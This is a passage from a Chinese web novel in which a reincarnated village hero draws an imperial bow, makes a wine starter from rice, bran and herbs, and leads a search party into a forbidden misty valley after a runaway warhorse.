能当上和盛堂的护宝红棍,他们的本事自然不低,私底下也都偷偷试过这射日弓,结果使出吃奶的力气,都没能撼动射日弓分毫。
可看薛猛的神情,风轻云淡,脸上还带着笑,显然未尽全力,就把这弓拉开如半月!
不愧是射杀棕熊的白虎乡英雄,果然不是等闲之辈!
湘儿小嘴微张,几乎忘记了呼吸。
雷遇明老眸震颤,惊得合不拢嘴:“薛贤侄,你这气力,比起朝中武状元也不遑多让啊!”
“呵呵,雷叔,我还没用全力呢!”
薛猛也没想到,自己的力量居然已经到了这种地步。
才用五成力,就把这所谓的硬弓拉开了。
但这还远远不够。
他想试试用十成力,会是什么效果。
“嗨!!”
薛猛蹬地扭腰,吐气开声,用上全身的力气,肩峰暴起,猛然一拉。
嘣……!
在众人瞠目结舌的注视下,射日弓直接被薛猛拉开如满月。
弓弦震颤,弓身弧度已经被拉到了极限。
“嘿!这弓质量真踏马好!”
薛猛对这把射日弓的弹力和韧性,非常满意。
雷遇明震惊不已:“薛贤侄,你真乃神人也!”
“便是那武状元王林,也只是把弓拉至半开,纵观整个大虞,能把射日弓拉成满月的,你是天下第一人呐!”
“今日,老夫算是大开眼界了!”
薛猛只是一个乡间猎户,没有名师指点,却能够力开射日弓!
除了天赋异禀,没有别的解释!
若是出身勋贵将门之家,从小培养,雷遇明不敢想象,此子会有多恐怖!
啥?
这就天下第一人了?
大虞的武举水平,这么弱吗?
薛猛缓缓放松弓弦,谦逊摆手:“过誉了过誉了!随便玩玩罢了,当不得真!”
“干什么呢,这么热闹?”
裴红玉挤开人群,走了进来。
“哟,红玉妹子,你来得正好,这是射日弓,据说是大虞有名的硬弓,你试试看!”
薛猛把弓递给裴红玉,想看看她拉开这把弓需要用几成气力。
“射日弓?看着是挺好看,就是不知道中不中用。”
裴红玉纤眉轻蹙,随手接过薛猛手里的射日弓,两根手指头钩住弓弦,轻轻一拔。
弓就产生明显了形变。
“这弓不错啊,有些劲力,我用五成力试试看。”
裴红玉来了兴致,猛一用力。
只听“啪”的一声颤响!
弓弦直接被拉断了。
“啊?!”
看到这一幕,雷遇明眼珠子都差点瞪出来。
嘶!
所有人都倒吸一口凉气!
原本以为薛猛已经天下无敌了。
没想到裴红玉更逆天!
居然把弓弦拉断了?!
裴红玉脸一红,把射日弓还给薛猛,满脸歉意:“不好意思啊!没控制住力道,把你的弓弄坏了,多少钱,我赔你吧!”
“……”
薛猛嘴角一抽,顿时笑不出来了。
本以为自己经过刻苦锻炼加科学饮食,已经可以和裴红玉搏上一搏了。
让裴红玉试弓,也是想看看自己和裴红玉之间还有多少差距。
没想到,裴红玉随便一出手,就直接击碎了薛猛的道心!
果然努力和天赋比起来,根本不值一提。
这娘们儿,绝对开了挂!
“算了,你赔不起!”
薛猛叹了口气。
这可是贤妃赏赐的宝弓,裴红玉哪里赔得起?
裴红玉闻言,挺着胸,满脸不服气:“你什么意思?瞧不起我呀?快说多少钱,我赔你!”
“行啊,你要赔,那我就让你赔!”
薛猛摇头苦笑一声,随即对雷遇明说道:“雷叔,你来告诉她,这把射日弓,价值多少!”
雷遇明看着被拉坏的射日弓,好半晌才回过神,满脸痛心道:“哎!此弓乃贤妃所赐,无价之宝啊!”
“若单论材质、工艺,做这样一把弓至少耗时三年,光是本钱都不会低于千两白银!”
“多……多少?”
裴红玉冰冷眸子头一回露出了惊恐之色。
“那什么,我……我家里还有点事,我先走了。”
裴红玉扭头就跑,一秒钟都不敢再多待!
薛猛要真让她赔钱,她就是把自己这身肉卖了也赔不起一千两银子啊!
“跑那么快干嘛?”
薛猛哭笑不得,他也没打算真让裴红玉赔钱。
再说这射日弓,只是弓弦被拉坏了。
弓身依旧完好无损。
只需要稍加修缮改造,又是一把好弓!
“贤侄,你也别难过!跟这把射日弓比起来,这把警恶刀,价值更高,并且更加实用!”
雷遇明拍了拍手,身后的护宝红棍立即上前,将刀递到了薛猛手边。
“哦?我看看!”
锵!
薛猛握住刀柄,缓缓从刀鞘中抽出警恶刀。
顿时之间,寒光乍迸,分外耀眼,让人不敢直视!
待得寒芒淡去,雷遇明这才介绍道:“此刀名为‘警恶‘,由皇家大匠耗时三年,采用鎏金错银之法打造,尽显皇家风范!”
“持刀之人,位同大内蓝翎侍卫,有惩奸除恶之权!”
“身配此刀,可以见官不跪!”
“正六品以下官员,若是贪赃枉法,暗通敌邦,图谋造反,证据确凿,凭此刀可以先斩后奏!”
我靠!
这么牛掰?
薛猛心头一惊。
这刀他是真喜欢啊!
没想到自己偶然救了那什么贤妃娘娘,居然就得到这么多好处!
“雷叔,照你这么说,有了这刀,那我岂不是等于有了尚方宝剑?”
雷遇明闻言一笑:“那可不一样!尚方宝剑,乃皇帝所赐,持剑之人如帝亲临,能斩三品以上大员!”
“这警恶刀,乃贤妃所赐,贤妃娘娘虽是圣上宠妃,但毕竟不能逾制。”
“所以这刀只能震慑六品以下的官员!”
薛猛闻言点点。
明白了!
这刀就是个低配版的尚方宝剑。
遇到六品以上就不好使了!
不过,整个洪雅县最大的官,也就知县是个七品官。
有了这把刀,自己只要不出洪雅县,基本就没人敢让自己下跪了!
薛猛心中暗爽,迫不及待地将刀收入鞘中,连带着后面那箱金子,也一并收下了。
虽然他对大虞朝廷没什么好感!
但对这个什么贤妃娘娘,他觉得也没那么讨厌了!
“雷叔,替我谢谢贤妃!”
“她的礼物,我很满意!下次有空,叫她过来吃饭,我请她吃铁锅炒菜!”
“……”
雷遇明差点没被薛猛这话呛死。
湘儿也是捏了一把冷汗。
薛小爷还真是不知天高地厚哇!
贤妃娘娘给的东西,能叫礼物吗?
只能叫赏赐!
还叫人家来吃饭?!
贤妃千金之躯,什么山珍海味没吃过。
怎么可能让贤妃来这种乡野之地吃饭!
这不是胡闹吗?
“贤侄,贤妃娘娘不是咱们这些小民,想见就能见的!你的话,我有机会尽量转告!”
雷遇明将手中马缰交给薛猛,指着身后的黑马,最后嘱咐了一句:“这乌骓马跟着贤妃娘娘,骄纵惯了,脾气不太好,你小心着点!”
“时候不早了,我们就先告辞了!”
说完,雷遇明带着湘儿登上了马车。
薛猛让红儿将包装好的一斤青鱼胶,半斤鲟鱼胶取来,交给了雷遇明。
四名护宝红棍扬起鞭子,赶着马车,扬长而去。
薛猛带着村民,亲自将他们送出村外。
“薛贤侄,不用送了,回去吧!”
“雷叔,下次再来,我请你们吃铁锅炒菜!”
“好!下次我一定来!”
第71章 大曲、小曲、麸曲
“长根儿!雷子走了吗?”
目送马车消失在远处乡道上,薛猛正准备回家。
身后,徐守业、郑灵均、老白头急匆匆追了过来。
看着三个老者,薛猛回道:“哦,雷叔刚走!”
徐守业浑身酒气熏天,气得吹胡子瞪眼:“这小子!要走也不给我们打声招呼,偷偷摸摸就跑了!四十七弟,你也真是,明知道雷子要走,你怎么不提前叫醒我们?”
郑灵均无奈笑道:“三哥,雷军医赶回去有急事要处理!他是怕你醒过来,不准他走,所以才趁你打盹,偷偷走的,让我晚点再告诉你们!”
老白头揉了揉脑袋,醉眼惺忪:“昨晚喝得太多了,我到现在头还晕乎呢,四十七弟,你怎么和老雷一点屁事没有?真羡慕你这酒量!”
郑灵均叹道:“害!四哥你别羡慕我,我倒羡慕你,随便喝点就能醉!”
“我是想醉也醉不了啊,一般的村酒,我喝着就跟白水一样寡淡!只有玉壶春能砸吧出一点酒味儿来,但喝着也就那么回事儿吧!”
“这么多年了,我还从来没有体验过喝醉是什么滋味呢。”
徐守业呵呵笑道:“喝醉了好哇!茶是涤烦子,酒是忘忧君!一醉解千愁啊!”
老白头连连点头:“对对对,还是牛鼻子会说!读过几本鸟书的,是比我这大老粗会拽词儿!”
郑灵均听得满脸羡慕。
到了他们这个岁数,谁不是满肚子心事?
都想借酒消愁,哪怕只是暂时忘记烦恼也好!
可郑灵均偏偏就喝不醉,总感觉那酒差点意思。
“郑叔,回头我给你酿一种酒,你喝了,保证让你大醉一场!”
听了薛猛这话,郑灵均不由一怔:“真的假的?你还懂酿酒?”
薛猛笑道:“会一点点!”
前世,薛猛出身医武世家,所谓穷文富武,家里自然不缺钱。
大伯开药厂。
二伯办酒厂。
而他亲爹,排行老三,整日不事生产,专门练武。
小时候,他经常跟着亲爹在二伯酒厂里练功。
耳濡目染之下,酿酒的那套流程,也早已烂熟于心。
鱼胶坊和铁艺坊都已经步入正轨。
酒坊也该提上日程了!
前世有句话说得好。
直播的尽头,就是卖酒!
酒这玩意儿,是真赚钱呐!
一旦打出了名气,就能卖出天价。
而且和鱼胶这种滋补品不一样,酒这玩意儿,受众太广了。
上到王侯将相士子文人,下到贩夫走卒江湖草莽,全都离不开酒!
文人骚客逛青楼,吟诗作赋需要酒来助兴!
无论权贵还是平民,婚丧嫁娶,逢年过节,无酒不成席!
就连土匪聚义,歃血为盟,也要大碗喝酒!
可见这东西的市场前景,比鱼胶大多了,鱼胶虽然贵但产量只有那么点,体量远远比不上白酒!
真要赚大钱,还得是卖酒!
酒好不好,曲子说了算。
酿酒的关键,就是制作酒曲。
大虞也有酒曲,但只能用来酿造米酒和黄酒,想要酿造白酒,薛猛必须自己制作酒曲。
酒曲分很多种。
酒曲不一样,酿出来的酒香型也不同。
以小麦为主料发酵出来的酒曲,富含霉菌、酵母菌、细菌,这种曲叫做大曲,酿造出的酒多是浓香型和酱香型。
前世出名的茅台、泸州老窖、汾酒等大厂,都是用大曲。
但是大曲的制曲周期很长,短则两三个月,多则半年。
而且对发酵温度也有要求,需要控制在60到70,若是中途出了差错,很容易功亏一篑。
目前条件有限,薛猛不打算制作大曲,别到时候浪费半年时间,结果竹篮打水一场空就闹笑话了。
相比起大曲,小曲制作起来就要简单不少,制曲周期也更短。
小曲以大米或米糠为原料,加入辣蓼草等草药一起发酵,一般三个星期就可以发酵完成。
对发酵温度要求也较低,只需要30左右就可以了。
现在正值夏季,自然温度就差不多是这个温度,把控起来相对容易。
小曲富含酵母菌和根霉菌,发酵效率高,酿出的酒一般都是清香型,口感清雅绵甜,余味爽净,而且出酒率也高。
还有一种麸曲,用麸皮作原料进行发酵。
制曲周期比小曲还要短,只需要几天就能完成,成本低,出酒率高。
但是酿造出的酒体风味单一,没啥特色,这种酒一般卖得都比较便宜,也就是所谓的散白。
薛猛折了个中,决定把小曲和麸曲融合!
这样制作出来的酒曲,既能让酒具有清香型的风味,出酒率又能更高,制曲周期也可以缩短到几天内。
回到家,薛猛让红儿磨墨,提笔列下一张原料清单,交给寇达、寇芳兄妹去办。
如今自己怎么也算是个东家了,手下有人儿,不用白不用!
不需要事事都亲自跑路了。
“难怪大家都想当老大,当老大还挺爽的!”
薛猛半躺在藤椅上,双手背在脑后,翘着二郎腿,悠闲自得。
红儿、翠儿很懂事地为薛猛捏肩按腿。
刚开始,薛猛还有些不适应,但慢慢地也就接受了她们的服务。
“按得挺舒服啊!我看你俩办事挺麻利的,以后每个月给你俩开一两银子工钱,就留在我身边当个秘书吧!”
“谢主人!”
“别叫主人了,叫薛大哥就行!”
“是,主人!”
红儿、翠儿受宠若惊,眼圈都红了。
他们在李庄当丫鬟时,李全福和李贺父子对他们非打即骂,压根没把她们当人使唤,至于工钱那是想都别想。
现在跟了薛猛,每天也就洗洗衣服、跑跑腿、沏沏茶,除此之外几乎没啥脏活累活。
薛猛从来没有对她们红过脸,更别提打骂她们,现在还要给她们这么多工钱!
如果说李庄是地狱,那么薛家就是天堂!
寇达、寇芳兄妹拿到薛猛的清单,立即分头行动。
寇达去准备原料,将大米、糯米和少量麸皮,全部用石磨磨碎成粉。
寇芳则去采集辣蓼草、桂叶、薄荷,并将这些草药晒干捣碎成粉。
薛猛也没闲着,让红儿去白虎乡市集买来了干净的大木盆、大蒸笼和竹席。
当天下午,就在院子里架起了蒸笼,开始蒸料灭菌。
听说薛猛真要酿酒,徐守业来了兴致,跑过来瞧稀奇。
只见薛猛先把寇达准备的原料和寇芳准备的药粉,按照一斤米粉,三两麸皮粉,二两草药粉的比例,倒入木盆,加入清水,充分混合搅拌均匀。
然后填入蒸笼,铺成三厘米的薄层,隔水大火蒸制。
水开后,大概蒸了得有半个多钟头,薛猛揭开蒸笼盖,用木棍翻拌了一次。
“嗯,糊化得不错!”
薛猛拈起一粒米粉粗粒,掐碎一看,黏手,没有白芯,就知道到火候了。
“可以摊开晾凉了!”
寇达和寇芳兄妹闻言,立即上前,将蒸笼从土灶上抬了下来,把蒸好的曲料,倒在地上铺着的竹席上。
再用木耙子均匀摊开,快速晾凉。
期间薛猛用手背试了试温度。
大概温度降到和人体温差不多的时候,薛猛招呼大伙儿都来帮忙,把曲料搓成小团。
寇达搬来提前准备的干净木桶和干稻草。
先在木桶底部铺一层稻草,放一层曲料小团,再在上面铺一层稻草,又放一层曲料小团,直到所有曲料都装进去,马上加盖密封。
“行啦!”
“前期准备工作,到这里就完成了。”
“接下来,一切就交给时间吧!”
说完,薛猛让寇达把木桶搬到避光通风的地方放着,就不用去管了。
在夏季的高温天气下,密封的木桶将会成为一个天然的细菌培养皿。
糯米和麦麸,可以给细菌提供丰富的营养。
辣蓼草、桂叶、薄荷的加入,可以抑制大部分杂菌生成,最后只留下根霉菌和酵母菌。
根霉菌可以把大米的淀粉转化为糖,酵母菌则可以将糖转化为酒。
所谓小曲,其实就是一团富含根霉菌、酵母菌的菌团。
酿酒时加入此物,便可以加速发酵!
“长根儿,这样真能做出酒来?”
别说村民们看傻了眼,就连颇有见识的徐守业,也是捋了捋胡须,面露狐疑。
第72章 裴红玉要跑路
喝了一辈子酒,徐守业还是头一回亲眼见到酿酒!
在大虞,酿酒这门技术,一直都被各地豪强大族垄断。
比方说在整个洪雅县,大的酒坊也就韩家、魏家两家。
要想学酿酒,就必须在这两家的酒坊里从学徒干起,干上个二三十年,才有可能得到真传。
即便得了真传,也不能自己开酒坊,必须终身为他们效力!
常三茶馆的掌柜,年轻时候就是韩家酒坊的学徒。
搬酒桶不慎砸断了腿,才离开了韩家酒坊,开了间茶馆。
他靠着从韩家酒坊学来的手艺,偷偷私酿了玉壶春,也只敢卖给懂门道的熟客,绝不敢高调叫卖。
韩家算是厚道的,体谅他残疾,对此睁一只眼闭一只眼,只要他不把酿酒技术外传,就不管他。
若是换了魏家,谁敢用他们的技术私自酿酒出售,绝对见不到第二天的太阳!
至于那些不入流的村酒,全是野路子自己瞎摸索出来的。
那些酒喝着寡淡发酸不说,喝完还容易头疼,滋味实在不好,难登正经席面。
甚至,时不时还有喝村酒喝死的事情。
徐守业觉得奇怪,薛猛从来没有在韩家、魏家酒坊当过学徒,他怎么会懂得酿酒?
难不成也是自己瞎琢磨出来的?
“长根儿,这酿酒的事情,可不是儿戏。”
“若是不得真传,且不说能不能酿出来酒,就是酿出来了,也没人敢喝啊!”
徐守业把自己心里的担忧,全都说了出来。
薛猛却是不以为然,喝完村酒,头疼、中毒!
那是因为大虞的酒曲不行,酿出的酒杂醇过多。
薛猛对自己的酒曲很有信心,咧嘴笑道:“徐伯,你别担心,我这酿酒之法乃酒仙梦中传授!”
“你就等着看吧,最多半个月,我就能酿出你们从来没喝过的美酒!”
“这酒喝完,保证你们再喝其他酒,全都觉得没味儿了!”
嚯!
薛猛这口气,可太狂了!
酒仙梦中传授酿酒之法,那这酿出来的酒,得有多好喝?
“行,半个月后,老夫倒要尝尝,你这酒到底有没有你说的这般神奇!”
嘴上虽是不想打击薛猛信心,但徐守业心里,其实并不抱太大希望。
至于什么酒仙梦中传授的说法,他更是全然不信。
“妹夫,不好了!”
“乌骓马发狂挣脱缰绳,往卧虎山里跑了!”
林大强急声大叫着,匆忙跑进了院子。
薛猛闻言一惊,连忙扶住险些摔倒的林大强:“大舅哥,怎么回事儿?好端端的,马怎么会发狂呢?没有人受伤吧?”
薛猛忙着制作酒曲,没空放马。
就把贤妃赏赐的那匹乌骓马,交给了林大强,让他帮忙把马牵出去遛遛,吃吃草,顺便熟悉一下卧虎村的环境,免得它应激。
可这才多大会儿功夫,马就跑了?
“倒是没有人受伤!”
林大强喘着粗气道:“那马刚开始还好好的,后来听见一声虎啸,就吓得发了狂,往山里跑了,而且,还是往迷魂凼的方向跑的!”
“什么?进了迷魂凼?”
徐守业眉头紧锁,目露担忧:“迷魂凼凶险异常,这马只怕是有进无出了!”
而薛猛关注的侧重点,则是林大强提到的“虎啸”。
卧虎村附近传来虎啸,这意味着什么?
难不成有猛虎下山?
“寇达,马上召集巡猎队!排查全村,务必要找出虎啸来源!”
“寇芳,取我弓来,我要进山!”
薛猛话落,寇达、寇芳立即分头行动。
薛猛双目微眯,看向卧虎村的方向。
那匹乌骓马,不同于土匪的驽马,乃是一匹战马。
因北方牧区有北莽侵扰,大虞十分缺马,战马主要依赖西夏、吐蕃进口。
一匹普通战马,价值至少上百两。
而这匹乌骓马,乃是贤妃赏赐,自然是顶级良马,价值至少上千两。
并且战马这东西,有钱都不一定能买到!
薛猛对这匹乌骓马,还是很看重的,不可能就这么白白让它跑掉。
寇芳很快就取来重新更换了弓弦的射日弓和警恶刀,来到薛猛面前。
见薛猛要进山找马,徐守业连忙出声劝道:“长根儿,不可!那迷魂凼乃生人禁地,万万不能进入!”
徐瑾儿、林雅娴,听到动静,也都赶了过来,拉着薛猛不让他进山。
“徐伯,你进过迷魂凼吗?”
薛猛问道。
徐守业闻言一怔,随即摇头。
“既然你没进去过,又怎么知道里面真的凶险?”
“先前,坊间传闻一线天闹鬼,结果呢?不过是醉仙桃花粉导致中毒产生的幻觉!”
薛猛这话一出口,所有人都是一愣。
就连徐守业也是哑口无言。
“依我看,这世上根本没有鬼!”
“就算有,人也不用怕鬼,鬼更应该怕人!若是鬼不怕人,为什么他们只敢躲藏暗处,而不敢光明正大地出现在人前?”
“鬼若是真有那么可怕,这天下早就是它们的了!”
“别说没有鬼,就是有,老子也杀它个片甲不留!”
说完,薛猛一把从寇芳手里接过警恶刀,配在腰间。
拿起射日弓,背上装满狼牙箭的箭筒。
昂首挺胸,阔步出门。
丝毫不顾众人阻拦!
徐瑾儿急得小脸通红,扭头看向徐守业:“爹,这可怎么办,你快想想办法劝劝薛大哥吧!”
林雅娴摇摇头,柳眉低垂,口中低喃道:“劝不住的,我太了解长根儿了,只要是他决定的事情,十头牛也拉不回来!”
“快!”
徐守业老眸闪烁,冷静吩咐道:“通知裴姑娘,让他带着长枪队和弓弩队一起进山,带够伤药、火把,务必要保护好长根儿!”
“是!”
寇芳立即转身向裴家赶去。
薛猛现在是整个卧虎村的主心骨!
决不能让他有半点闪失。
……
裴家。
裴红玉正在埋头收拾家当细软,准备跑路。
拉坏了薛猛价值千两白银的射日弓,她一整天都在担惊受怕,唯恐薛猛上门催她赔钱!
思来想去,只有一条路可走,就是跑!
但她并不是为了赖账不赔钱而跑。
相反,她是决定出去闯闯,去北方参军打仗,将来立下战功,得了赏赐,就可以赔薛猛钱了!
裴红玉其实很清楚,以薛猛的人品,不可能强行要求她赔钱。
但,弄坏了别人的东西,不赔钱,裴红玉心里过意不去!
她过不了自己这一关!
这钱,她必须赔给薛猛!
为此,哪怕是背井离乡,哪怕是去战场生死未卜,她也在所不惜!
唯一放心不下的,就是家里这个精神失常的爹。
自己这一走,不知何年何月才能回来,爹谁来照顾?
砰砰砰!
裴红玉正纠结不已,忽然听见门外响起敲门声。
“裴姐姐!”
寇芳的声音随之响起。
裴红玉娇躯一震,额角沁出冷汗。
“完了!”
“来催债了?”
第73章 迷魂禁地,擅入者死!
“寇家妹子,你回去跟薛猛说,给我一年半载时间,我一定会赔他钱的!”
裴红玉定了定神,隔着门对外面的寇芳说道。
寇芳回道:“裴姐姐,你误会了,我不是来找你要钱的!那把射日弓,已经被恩公修好了!”
吱嘎一声,裴红玉打开了院门:“那你找我做什么?”
寇芳焦急道:“恩公的乌骓马刚才受惊跑进了迷魂凼,他一个人进山找马去了,徐老先生担心他遇到危险,希望你能带着长枪队和弓弩队的人保护他!”
不就进个山嘛,有啥大惊小怪!
山里的棕熊已经被薛猛射杀了,其他野兽也都被巡猎队清扫了一遍,山里基本没有什么危险了!
等等!
迷魂凼?
薛猛去的是迷魂凼?
反应过来后,裴红玉大惊失色,立即转身进屋,取来素缨蘸金枪,大步出门。
“快!我们必须赶快阻止他!”
“要是真让他进了迷魂凼,神仙也救不了他!”
裴红玉跟寇芳赶到卧虎山下时,寇达已经召集了长枪队、弓弩队队员在山下等候。
每个人都全副武装。
“进山!”
裴红玉也不啰嗦,带着一群人,浩浩荡荡朝山里进发。
寇芳原本也想跟着去,却被寇达留住:“妹子,你留下,让哥去!”
目送寇达跟着裴红玉一行人,消失在卧虎山脉的重峦叠嶂之中。
寇芳目露担忧,转头对徐守业问道:“徐老先生,这迷魂凼,当真有你说的那么凶险吗?”
徐守业老眸微眯,长叹一声,没有说话。
迷魂凼位于卧虎山腹地,不同于其他山头,那绝对是整个卧虎山最凶险诡异的所在!
因其神秘莫测,有诸多离奇传闻,被称为“生人禁地”。
一开始,迷魂凼不叫迷魂凼,而叫仙乐谷。
相传仙乐谷里时不时散发出诱人药香和奇异野兽鸣叫,一到下雨天,仙乐谷上空就会出现七色云霞,还会发出类似编钟的仙乐。
数百年间,吸引了不少资深药夫子和跑山人,进入迷魂凼采药、打猎,最后无一例外,全部有去无回。
二百年前,大虞定国之战,前朝末代皇帝梁哀帝,被大虞二十万大军,逼得走投无路。
带着妃子、群臣,以及八百残兵,逃进了仙乐谷。
大虞太宗皇帝为了斩草除根,曾多次派遣精锐军队进入仙乐谷,搜寻梁哀帝下落,结果军队全都离奇失踪。
太宗下令将仙乐谷更名为“迷魂凼”,并在迷魂凼入口立下石碑,刻下官封榜文,并派专人镇守,防止山民入内遇险。
大虞前几任皇帝,谨遵太宗祖训,每年都会拨款,派兵镇守迷魂凼入口。
直到当朝景丰皇帝登基,断了守山军队的军饷,军队被迫撤离,迷魂凼才得以解禁。
然而封锁长达两百年,迷魂凼的“禁地”之名早已深入人心,整个白虎乡的乡民代代相传,绝不敢涉足迷魂凼半步。
寇芳不是白虎乡土著,自然不清楚这些传闻。
但在场其他村民,都知道迷魂凼的传说,大家都为薛猛捏了一把冷汗。
徐瑾儿抹了抹眼泪,紧紧挽着林雅娴的胳膊:“林姐姐,我们该怎么办?难道就在这儿傻傻等着吗?”
“要是薛大哥有个三长两短,我们可怎么活呀!要不我们也进山去找薛大哥吧!”
林雅娴心里何尝不是着急上火,担忧着薛猛的安危。
但她面上却保持着一家主母该有的镇定,轻轻抚摸着徐瑾儿的头发,柔声安抚道:“瑾儿妹子,别哭,咱们的男人福大命大,一定会凯旋而归的!”
“我们一没有裴姑娘过人的体魄,二没有任何自保的能力,进山非但帮不了长根儿,还会拖累他们!”
“咱们现在最应该冷静,别给他们添乱,在长根儿回来之前,把家里的事情料理好,才是我们身为女人最应该做的!”
这些话,不光是对徐瑾儿说的,也是林雅娴对自己说的。
鱼胶坊、铁艺坊,已经经营了一段时间,每天都有开支账目要计算。
马上又要开办纺织坊、酒坊,到时候各种账目,都需要汇总。
这些事情,目前都是林雅娴在管。
她必须让自己冷静下来。
注意到周围村民不安的目光,林雅娴握着徐瑾儿的小手,替她擦了擦脸上的泪水,凑近她耳边低声道:“别哭了,大伙儿可都看着呢。”
“长根儿不是一般的男人,他是白虎乡的英雄,是大家的主心骨!”
“咱们做英雄的女人,可不能动不动就哭鼻子,不然人心就散了。”
“哪怕长根儿不在,咱们也得把这个家撑起来。”
“你书读得多,帮姐算算账吧。算完账,长根儿应该就回来了!”
“嗯嗯!”徐瑾儿点点头,跟着林雅娴往回走。
……
“总算找到了!”
卧虎山腹地,薛猛弯腰从草地上捡起一根鬃毛。
鬃毛黝黑发亮,正是乌骓马掉落。
不远处,可以看见明显的蹄印。
蹄印清晰,显然乌骓马刚从这里经过不久。
蹄印的间距很大,说明乌骓马还在狂奔暴走。
薛猛顺着蹄印,向前找去,不一会儿便来到了一个山谷入口。
时值晌午,阳光炽烈,谷内仍旧雾气弥漫,看不清谷中的景象。
入口处立着一块巨型石碑,其上爬满了鸡矢滕和苔藓,隐约可见上面似乎刻着什么字。
锵啷一声,薛猛拔出腰间警恶刀,三两下劈开了石碑上的藤萝,只见碑上赫然刻着八个遒劲大字。
“迷魂禁地,擅入者死!”
左下方,还刻着小字,标明了立碑年份和官封大印。
“大虞开元七年岁在癸卯孟冬朔日。”
“太宗皇帝御笔敕令益州牧李秉年,率吏竖碑。”
“以昭天威,永镇此地。”
石碑的侧面,还刻着许多薛猛看不懂的符纹,背面则是写明了迷魂凼曾经发生过的几件最典型的军队失踪事件。
刻字的地方,残留着一些剥落的暗紫色漆皮,显然之前上过色。
薛猛用手指拈起一点漆皮,捻了捻,顿时眉头轻皱:“居然用的还是朱砂漆。”
朱砂漆,就是一种用朱砂、生漆、树脂调配成的天然涂料。
古人认为朱砂能杀精魅,用朱砂漆涂刷器物或建筑,可以起到驱避邪祟的作用。
“这里应该就是传说中的迷魂凼了吧?”
“本以为这迷魂凼生人勿近的传说,只是乡民传言,不足为信,没想到居然还有官府立碑警示!”
“还用上了皇家驱邪的朱砂漆!”
薛猛虽然不相信什么鬼魅传说,但这迷魂凼,显然不简单!
否则堂堂大虞开国皇帝,怎么会空耗人力物力,让益州牧在这里立碑示警?
“唏律律——”
薛猛正纠结要不要进去,忽然,迷魂凼里传来一阵烈马嘶鸣之声。
那声音高亢、尖锐,还带着因极度惊恐而颤抖的破音!
“乌骓马?!”
薛猛闻声一惊,提着刀,撒腿朝迷魂凼入口冲了进去。
第74章 遭遇野生大熊猫
“嗷嗷嗷!”
薛猛前脚刚冲进迷魂凼不久,裴红玉后脚就牵着猎犬,带着巡猎队众人赶了过来。
猎犬嗅了嗅地上的脚印,随后冲浓雾弥漫的迷魂凼里发出嗷嗷狂吠。
裴红玉低眉扫了一眼地上延伸向迷魂凼里的脚印,眉头紧锁,暗道不好。
还是来迟了!
薛猛已经进去了!
“此地凶险,你们留在外面接应,我进去找他!”
裴红玉欠薛猛一条命,哪怕明知进入迷魂凼十死无生,她也不得不进去!
但她不想让巡猎队的人也跟着她一起去送命。
一向听从裴红玉命令的长枪队副队长周楠却道:“不!裴队长,要进去咱们一起进去!”
弓弩队副队长杨虎也是目光灼灼:“对!要进咱们一起进!”
裴红玉横眉怒叱:“少啰嗦!这迷魂凼有进无出,你们想去送死?”
“就是送死我们也不怕!”
杨虎道:“我们能有今天,全是沾了薛爷的光!”
“加入巡猎队这些日子,我们吃喝不愁,这辈子都没过过这么好的日子!这全是薛爷带给我们的!”
“为了薛爷,就是刀山火海、龙潭虎穴,我们也要闯他一闯!”
“没错!为了薛爷,赴汤蹈火,在所不辞!”
长枪队、弓弩队二十名队员,目光灼灼,齐齐振臂高呼!
他们之中的很多人,在加入巡猎队之前,家里穷得连米糠都吃不起。
娶妻生子,更是想都不敢想!
按照大虞法例,最终只怕都难逃送上战场当炮灰的下场!
是薛猛给了他们希望,把他们拉出了贫困的泥沼,给了他们出人头地的机会!
自从加入巡猎队后,一天三顿管饱,吃的是白米白面,有肉有菜,简直就是神仙日子。
尤其是在大败老鸦坎土匪之后,每个人都得到了薛猛的赏银。
家里的日子是一天比一天好,曾经被人瞧不起的穷光棍,成了打败土匪的英雄。
媒婆挤破了头要给他们做媒!
就连临水村、青牛村的黄花大闺女,都想嫁到卧虎村来。
这一切,都是薛猛带给他们的!
就算是为了薛猛豁出命去,他们也在所不惜!
寇达也道:“裴姑娘,恩公对我有再造之恩,无论如何,我也要进去找他!”
裴红玉叹了口气。
她能看出大家都是真心实意,要为薛猛蹚这趟浑水!
也罢!
裴红玉不再阻拦,而是正色道:“迷魂凼里常年浓雾笼罩,五步之外难以视物,一旦进入,我们就和瞎子没什么区别。”
“没人知道,进去之后会遇到些什么,因为从来都没有幸存者出来过!”
“至于那些传言,更是真假难辨,但石碑上记载的军队失踪事件,却做不得假!”
“大家既然要进去,必须听我号令!”
“是!”
众人齐声应道。
裴红玉冷眸闪烁,开始布置阵列。
“周楠!你带五名长枪手列阵在前,以拨草寻蛇式探路。”
“排查地面威胁,若遇沼泽、毒蛇、沙坑,须立即抬手示意队列停止前进!”
周楠拱手:“是!”
裴红玉转头看向杨虎:“杨虎,你带十名弓弩手,分列左右两翼,随时警惕左右两边悬崖落石及一切空中威胁!”
“是!”
杨虎领命。
“寇达,你带五名长枪手列阵在后,枪头朝后,背对队友,随时提防后方威胁!”
“所有人都必须严格依照队列行进,一旦掉队,神仙也救不了你们!”
“得令!”
随着裴红玉指令下达。
众人立即依照指令迅速以裴红玉为中心,组成一个方阵。
裴红玉牵着猎犬,居于队列最中央,眼观六路,耳听八方。
若是任何一个方位出现威胁,手中长达一丈一的长枪,随时都可以予以策应。
“进谷!”
随着裴红玉一声令下,五名长枪手枪头垂地,一边向前行进,一边拨扫着杂草丛生的地面。
果然清扫出不少毒虫蛇蚁。
进谷之后,雾气比裴红玉想象中还要浓密。
三步之内就已经完全看不清东西了。
浓雾背后,究竟隐藏着什么,充满未知。
所有人都不由得绷紧了心弦,连大气都不敢喘。
和杀土匪不一样。
剿灭老鸦坎土匪的时候,土匪在明,他们在暗,无需恐惧。
而且土匪再凶狠,也不过是肉体凡胎,看得见摸得着,一刀砍下去就会流血。
但在这迷魂凼里,他们不知道自己将会遭遇什么威胁。
妖魔鬼怪?
凶猛野兽?
毒雾瘴气?
沼泽地窟?
一切都要可能!
稍有不慎,可能就再也出不去了!
大概走了半个时辰,队列突然停了下来。
“怎么回事?”
裴红玉立即对前方探路的周楠问道。
前方,周楠僵硬转过头,嘴唇哆嗦,声音颤抖:“裴,裴队长,我们好像在原地兜圈子。”
一指地上的白骨,说道:“刚进来我就看见这里有一堆白骨!”
“现在走了这么久,又看见了这堆白骨!!”
嘶!
闻言,所有人都倒吸了一口凉气。
裴红玉眉头紧锁,上前查看了一番地上的一堆白骨。
确实刚进来的时候就看见过!
“这怎么可能?”
